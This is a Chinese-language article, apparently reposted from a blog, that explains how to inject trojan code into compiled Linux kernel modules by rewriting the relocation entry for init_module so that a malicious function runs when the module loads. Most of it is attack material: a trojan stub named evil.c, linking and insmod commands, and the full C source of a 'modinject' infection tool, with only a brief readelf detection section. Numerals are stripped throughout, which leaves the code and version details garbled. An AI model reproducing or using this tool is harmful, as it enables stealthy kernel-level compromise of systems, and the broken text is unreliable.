module injection in . kernel

|=-------------------[ module injection in . kernel ]-------------------=|
|=------------------------------------------------------------------------=|
|=---------------[ CoolQ<[e-mail]> ]-----------------=|
|=------------------------------------------------------------------------=|

0 - 前言
- . 回顾
- . 的变化
. .的.ko文件
. 失效的原因
- 对策
. 修改.rel.gnu.linkonce.this_module
. 例子
- 检测module injection的方法
- 参考
- 代码

--[ 0 - 前言

phrack 期有一篇不错的文章，给出了一种感染内核模块的方法，不过是基于.
内核的，该方法在.上无效，但是思想还是通用的。通过对.内核加载的分析，了解
两者之间的差异，并最终实现.下的module injection。

 

--[ - . 回顾

内核对模块的管理，是通过struct module来实现的，该结构的成员init/cleanup，代表
加载/卸载模块后需要运行的初始化/收尾函数，它的赋值是通过以下代码实现的：

module->init = obj_symbol_final_value(f,
obj_find_symbol(f, "init_module"));
module->cleanup = obj_symbol_final_value(f,
obj_find_symbol(f, "cleanup_module"));

 

可见，insmod需要在.strtab中查找init_module/cleanup_module字符串，并根据索引值
找到相应的.symtab中的符号，将相应的值赋值给module->init/cleanup。

因此，如果能把.strtab中别的字符串替换为init_module，那么系统加载的时候，运行的
就不是原来的init_module函数了。

--[ - . 的变化

.中的模块子系统被完全重写，如果用中的工具，发现无论怎么修改.strtab，运行
的始终是原来的init_module。

--[ . .的.ko文件

.下的模块，扩展名为.ko，而不是.下的.o。很多初学者写完模块之后，会使用.的
方法来编译模块
----------------------------- test.c --------------------------------------

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>

static int dummy_init(void)
{
printk("hello,world./n");
return 0;
}
static void dummy_exit(void)
{
return;
}
module_init(dummy_init);
module_exit(dummy_exit);

MODULE_LICENSE("GPL")

 

------------------------------ cut here -----------------------------------
# gcc -c -O -DMODULE -D__KERNEL__ -I/usr/src/linux test.c
# insmod test.o
No module found in object
insmod: error inserting 'test.o': - Invalid module format

正确的做法是写一个Makefile,由内核的Kbuild来帮你编译
------------------------------- Makefile -----------------------------------

obj-m := module.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
-------------------------------- cut here ----------------------------------
#make
make -C /lib/modules/..-./build SUBDIRS=/test modules
make: Entering directory `/lib/modules/..-./build'
CC [M]/test/modinject/test.o
Building modules, stage .
MODPOST
CC/test/modinject/test.mod.o
LD [M]/test/modinject/test.ko
make: Leaving directory `/lib/modules/..-./build'
#ll
-rw-r--r-- root root Jan 0: test.c
-rw-r--r-- root root Jan 0: test.ko
-rw-r--r-- root root Jan 0: test.mod.c
-rw-r--r-- root root Jan 0: test.mod.o
-rw-r--r-- root root0 Jan 0: test.o

 

其实上边的test.o就是用gcc生成的test.o,而test.ko是使用下列命令来生成的

#ld -m elf_i -r -o test.ko test.o test.mod.o

 

再来看看test.mod.c，它是由/usr/src/linux/scripts/modpost.c来生成的
#cat test.mod.c

#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>

MODULE_INFO(vermagic, VERMAGIC_STRING);

#undef unix
struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = __stringify(KBUILD_MODNAME),
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
};
static const struct modversion_info ____versions[]
__attribute_used__
__attribute__((section("__versions"))) = {
{0, "cleanup_module" },
{0, "init_module" },
{0, "struct_module" },
{0, "printk" },
};
static const char __module_depends[]
__attribute_used__
__attribute__((section(".modinfo"))) =
"depends=";

 

可见，test.mod.o只是产生了几个ELF的节，分别是modinfo, .gun.linkonce.this_module

(用于重定位，引进了rel.gnu.linkonce.this_module), __versions。而test.ko是test.o
和test.mod.o合并的结果。

--[ . 失效的原因

在.给出的test.c中，模块的初始化函数是dummy_init，这是通过module_init
(dummy_init)来实现的，module_init的作用是把dummy_init作为init_module的alias，这
个可以查看生成的符号表来验证：
: 00000000 FUNCLOCALDEFAULT dummy_init
: 00000000 FUNCGLOBAL DEFAULT init_module
看, 符号的st_value都是0，而且除了BIND类型以外，其他的完全一样!

在.的内核源代码中，并没有见到对module->init赋值的操作。问题的关键就是
test.mod.c中的那个struct module __this_module,这实际上就是内核用来管理的module
结构。内核装载模块的时候，会将这个节直接复制，并将module的指针指向__this_module
, 而".init = init_module"将module->init初始化为init_module.

如果你了解符号的解析过程,你应该很清楚:符号的重定位不需要.strtab的参与

看一下Elf_Rel的定义

typedef struct {

Elf_Addr r_offset;
Elf_Word r_info;
} Elf_Rel;
和重定位节.rel.gnu.linkonce.this_module
Relocation section '.rel.gnu.linkonce.this_module' at offset 0x contains
entries:
Offset InfoTypeSym.ValueSym. Name
00000000000 R__00000000 init_module
00000c00000 R__0000000e cleanup_module

 

0x就是init在module struct中的偏移量，重定位的类型是R__，重定位的目标是
上边符号表中的: 0x0(节中的偏移量) (大小) FUNC(该符号是函数) GLOBAL(全局)
Default(可见域) (代表是Index为的节 - .text) init_module(符号名)

也就是说，无论你将.strtab中的init_module修改为什么值，最终重定位的目标还是索引
为的符号(init_module这个字符串只是给人看得，重定位不使用)。

--[ - 对策

--[ . 修改.rel.gnu.linkonce.this_module

既然知道了问题的原因，解决的方法就很容易了：我们的目标从.strtab变成了
.rel.gnu.linkonce.this_module中的Elf_Rel entry。

具体的过程如下：
. 编写木马模块，编译成.o(注意不是.ko)，木马的内容在.中给出
. ld -r -o final.ko good.ko evil.o
. 找到final.ko中的.rel.gnu.linkonce.this_module节
. 遍历所有的entry, 如果ELF_R_SYM(rel->r_info) == orig_init_idx，将
rel->r_info的symbol部分替换成木马的函数索引号，cleanup的情况相同
. 将final.ko重命名为good.ko (因为ko中有一个meta data，名称必须相同)

--[ . 例子

我们来把下列代码注射到上边的test.ko中
-------------------------------- evil.c ------------------------------------

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

extern int init_module(void);

int main(int argc, char *argv)
{
printk("hello,evil world./n");
init_module();
return 0;
}

 

------------------------------- cut here -----------------------------------

.# gcc -O -c -DMODULE -D__KERNEL__ -I/usr/src/linux-./include evil.c
.OR.
# make (前题是你写了一个符合evil.c的Makefile)
.# ld -r -o final.ko test.ko evil.o
.# ./modinject final.ko main
[+] - Change Reloc init OK !
.# mv final.ko test.ko
.# insmod test.ko
hello,evil world.
hello,world.

 

OK. 目的达到。请读者自行考虑木马里调用的为什么是init_module，程序能正常运行的
原因是什么，并对照.的相关部分。

--[ - 检测module injection的方法

对付module injection的方法很多，文件完整性检查是方法之一。
如果没有准备哈希数据库，该怎么办呢？我们可以使用readelf或者objdump:

# readelf -r test.ko
...

Relocation section '.rel.gnu.linkonce.this_module' at offset 0xa contains
entries:
Offset InfoTypeSym.ValueSym. Name
0000000000c0 R__0000000 main <--- 应该是init_module
00000c00000 R__0000000e cleanup_module

 

不过一定要瞪大眼睛哦，万一攻击者将init_module->init_modue，可不要被骗了 :-}

--[ - 参考

[http://www.phrack.org/show.phpp=&a=0]
kernel source code
ELF规范

--[ - 代码

/* Name : modinject.c
* Author : CoolQ
* Purpose: . kernel module injection
* Usage: # gcc -c evil.c
*# ld -r good.ko evil.o -o tmp.ko
*# mv tmp.ko good.ko# good.ko already infected
*# ./modinject good.ko evil_func_start evil_func_end
*/

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <strings.h>
#include <elf.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>

#define ERROR(str)/
do{/
perror(str);/
exit(EXIT_FAILURE);/
}while(0)

void usage(char *prog);
int check_hdr(Elf_Ehdr *ehdr);
Elf_Shdr *Elf_GetSectionByIndex(Elf_Ehdr *ehdr, int index);

Elf_Shdr *Elf_GetSectionByName(Elf_Ehdr *ehdr, char *name);
Elf_Sym *Elf_GetSymbolByName(Elf_Ehdr *ehdr, char *name);
int Elf_GetSymbolIndexByName(Elf_Ehdr *ehdr, char *name);
int Elf_Change_Reloc(Elf_Rel *sym_rel, int to_idx);

void *base;/* mmap base addr */

int main(int argc, char *argv[])
{
char *module_file, *evil_init_str, *evil_cleanup_str;
intfd, i;
struct statstat;
Elf_Ehdr *ehdr;
Elf_Shdr*shdr, *module_sec;
intorig_init_idx, orig_cleanup_idx;
intevil_init_idx, evil_cleanup_idx;
Elf_Rel*rel;

if(argc != && argc != )
usage(argv[0]);

module_file = argv;
evil_init_str = argv;
if(argc == )
evil_cleanup_str = argv;
else
evil_cleanup_str = NULL;

if((fd = open(module_file, O_RDWR)) == -)
ERROR("open file error./n");
if(fstat(fd, &stat) == -)
ERROR("get stat error./n");

base = mmap(0, stat.st_size, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, 0);
if(base == MAP_FAILED)
ERROR("mmap error./n");

ehdr = (Elf_Ehdr *)base;

if(check_hdr(ehdr) == -)
ERROR("Not a valid Elf file./n");

/* get struct module */
module_sec = Elf_GetSectionByName(ehdr,
".rel.gnu.linkonce.this_module");
if(module_sec == -)
ERROR("this is not a valid module file./n");

/* get symbol index */
evil_init_idx = Elf_GetSymbolIndexByName(ehdr, evil_init_str);
if(argc == )
evil_cleanup_idx = Elf_GetSymbolIndexByName(ehdr, evil_cleanup_str);
else
evil_cleanup_idx = 0;
orig_init_idx = Elf_GetSymbolIndexByName(ehdr, "init_module");
if(argc == )
orig_cleanup_idx = Elf_GetSymbolIndexByName(ehdr, "cleanup_module");
else
orig_cleanup_idx = 0;
if(evil_init_idx == - || evil_cleanup_idx == -
|| orig_init_idx == - || orig_cleanup_idx == -)
ERROR("no such func names./n");

/* change reloc symbols if necessary */
for(i = 0; i < module_sec->sh_size / sizeof(Elf_Rel); i++){
rel = base + module_sec->sh_offset + i * sizeof(Elf_Rel);
if(ELF_R_SYM(rel->r_info) == orig_init_idx){
fprintf(stdout, "[+] - Change Reloc init OK !/n");
Elf_Change_Reloc(rel, evil_init_idx);

}
else if(argc == &&
ELF_R_SYM(rel->r_info) == orig_cleanup_idx){
fprintf(stdout, "[+] - Change Reloc cleanup OK !/n");
Elf_Change_Reloc(rel, evil_cleanup_idx);
}
}

msync(base, stat.st_size, MS_SYNC);
munmap(base, stat.st_size);
close(fd);
return 0;
}
void usage(char *prog)
{
fprintf(stderr, "Usage:/n");
fprintf(stderr, "/t%s infected.ko evil_func_start evil_func_end./n",
prog);
fprintf(stderr, "OR/n");
fprintf(stderr, "/t%s infected.ko evil_func_start./n");
exit(EXIT_FAILURE);
return;
}
int check_hdr(Elf_Ehdr *ehdr)
{
/* some sanity checks */
if(ehdr->e_ident[EI_MAG0] != 0xf ||
ehdr->e_ident[EI_MAG] != 'E' ||
ehdr->e_ident[EI_MAG] != 'L' ||
ehdr->e_ident[EI_MAG] != 'F' ||
ehdr->e_ident[EI_CLASS] != ELFCLASS ||
ehdr->e_ident[EI_DATA] != ELFDATALSB ||
ehdr->e_ident[EI_VERSION] != EV_CURRENT ||
ehdr->e_type != ET_REL ||
ehdr->e_machine != EM_ )
return -;
else
return 0;
}
Elf_Shdr *Elf_GetSectionByIndex(Elf_Ehdr *ehdr, int index)
{
return(base + (ehdr->e_shoff + sizeof(Elf_Shdr) * index));
}
Elf_Shdr *Elf_GetSectionByName(Elf_Ehdr *ehdr, char *name)
{
inti;
char*secname;
Elf_Shdr*strtab, *sec;

strtab = Elf_GetSectionByIndex(ehdr, ehdr->e_shstrndx);
for(i = 0; i < ehdr->e_shnum; i++){
sec = Elf_GetSectionByIndex(ehdr, i);
secname = base + strtab->sh_offset + sec->sh_name;
if(strcmp(name, secname) == 0)
return(sec);
}
return -;
}
Elf_Sym *Elf_GetSymbolByName(Elf_Ehdr *ehdr, char *name)
{
inti;
char *sym_name;
Elf_Shdr*symtab, *strtab;
Elf_Sym*symbol;

symtab = Elf_GetSectionByName(ehdr, ".symtab");
strtab = Elf_GetSectionByName(ehdr, ".strtab");
if(symtab == - || strtab == -)
ERROR("no symtab section or strtab section./n");
for(i = 0; i < symtab->sh_size / sizeof(Elf_Sym); i++){
symbol = base + symtab->sh_offset + i * sizeof(Elf_Sym);
sym_name = base + strtab->sh_offset + symbol->st_name;
if(strcmp(name, sym_name) == 0 && /* only return func symbol */
ELF_ST_TYPE(symbol->st_info) == STT_FUNC)

return symbol;
}
return -;
}
int Elf_GetSymbolIndexByName(Elf_Ehdr *ehdr, char *name)
{
inti;
char *sym_name;
Elf_Shdr*symtab, *strtab;
Elf_Sym*symbol;

symtab = Elf_GetSectionByName(ehdr, ".symtab");
strtab = Elf_GetSectionByName(ehdr, ".strtab");
if(symtab == - || strtab == -)
ERROR("no symtab section or strtab section./n");
for(i = 0; i < symtab->sh_size / sizeof(Elf_Sym); i++){
symbol = base + symtab->sh_offset + i * sizeof(Elf_Sym);
sym_name = base + strtab->sh_offset + symbol->st_name;
if(strcmp(name, sym_name) == 0 &&
ELF_ST_TYPE(symbol->st_info) == STT_FUNC)
return i;
}
return -;

}

 

int Elf_Change_Reloc(Elf_Rel *sym_rel, int to_idx)
{
unsigned int type;

type = ELF_R_TYPE(sym_rel->r_info);
sym_rel->r_info = ELF_R_INFO(to_idx, type);

return 0;
}

转自：http://hi.baidu.com/hufeifeihu/blog/item/53837d2f9b3b073d1e308952.html